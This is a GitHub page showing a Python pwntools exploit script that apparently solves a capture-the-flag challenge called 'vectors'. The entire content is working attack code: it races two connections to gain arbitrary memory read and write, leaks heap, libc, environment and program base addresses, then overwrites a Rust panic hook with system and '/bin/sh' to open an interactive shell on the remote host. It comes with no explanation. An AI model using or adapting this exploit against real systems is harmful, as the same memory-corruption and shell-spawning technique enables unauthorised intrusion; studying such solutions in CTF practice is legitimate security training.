Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
108 lines (75 sloc) 2.49 KB
#!/usr/bin/env python2
from pwn import *
def push(p, vec, value):
p.sendlineafter("pop>", "push")
p.sendlineafter("vec?", str(vec))
p.sendlineafter("value?", str(value))
def pop(p, vec):
p.sendlineafter("pop>", "pop")
p.sendlineafter("vec?", str(vec))
def read(p, vec, index):
p.sendlineafter("pop>", "read")
p.sendlineafter("vec?", str(vec))
p.sendlineafter("index>", str(index))
p.recvuntil(" == ")
return int(p.recvline(keepends=False))
def write(p, vec, index, value):
p.sendlineafter("pop>", "write")
p.sendlineafter("vec?", str(vec))
p.sendlineafter("index>", str(index))
if "Sorry" not in p.recvn(7):
p.sendlineafter("? ", str(value))
def read_addr(addr):
return read(p1, 0, addr/8)
def write_addr(addr, value):
write(p1, 0, addr/8, value)
def exploit():
push(p1, 1, 0x1234)
for i in range(32):
print str(i)
push(p1, 0, i)
p1.recvuntil("0x")
mapped = int(p1.recvuntil(",", drop=True), 16) - 0x10
log.info("mapped: 0x{:x}".format(mapped))
p2.sendlineafter("pop>", "write")
p2.sendlineafter("vec?", "0")
p2.sendlineafter("index>", "0")
push(p1, 0, "1111")
p2.sendlineafter("? ", str(mapped))
write(p1, 0, 0, 2**64-1)
write(p1, 0, 2, 0)
memalign = read_addr(mapped + ld_offset + 0x18)
libc.address = memalign - libc.symbols["memalign"]
log.info("libc: 0x{:x}".format(libc.address))
environ = read_addr(libc.symbols["environ"])
log.info("environ: 0x{:x}".format(environ))
pie_leak = read_addr(environ + start_offset)
log.info("pie_leak: 0x{:x}".format(pie_leak))
binary.address = pie_leak - binary.symbols["_start"]
log.info("binary.address: 0x{:x}".format(binary.address))
push(p1, 1, libc.symbols["system"])
write_addr(binary.symbols["_ZN3std9panicking4HOOK17h40bfd8fd5660cc20E"], next(libc.search("/bin/sh\x00")))
write_addr(binary.symbols["_ZN3std9panicking4HOOK17h40bfd8fd5660cc20E"]+8, mapped + 0x110)
pop(p1, 0)
p1.interactive()
if __name__ == "__main__":
name = "./vectors"
binary = ELF(name)
context.terminal=["tmux", "sp", "-h"]
context.arch = "amd64"
if len(sys.argv) > 1:
p1 = remote("vectors.420blaze.in", 420)
p2 = remote("vectors.420blaze.in", 420)
libc = ELF("./libc_02ad2eb11b76c81da7fc43ffe958c14f.so.6")
ld_offset = 0x4000
start_offset = 0xf8
else:
ld_offset = -0x270000
start_offset = 0xa0
libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
p1 = process([name], env={})
p2 = process([name], env={})
gdb.attach(p1, """
c
""")
exploit()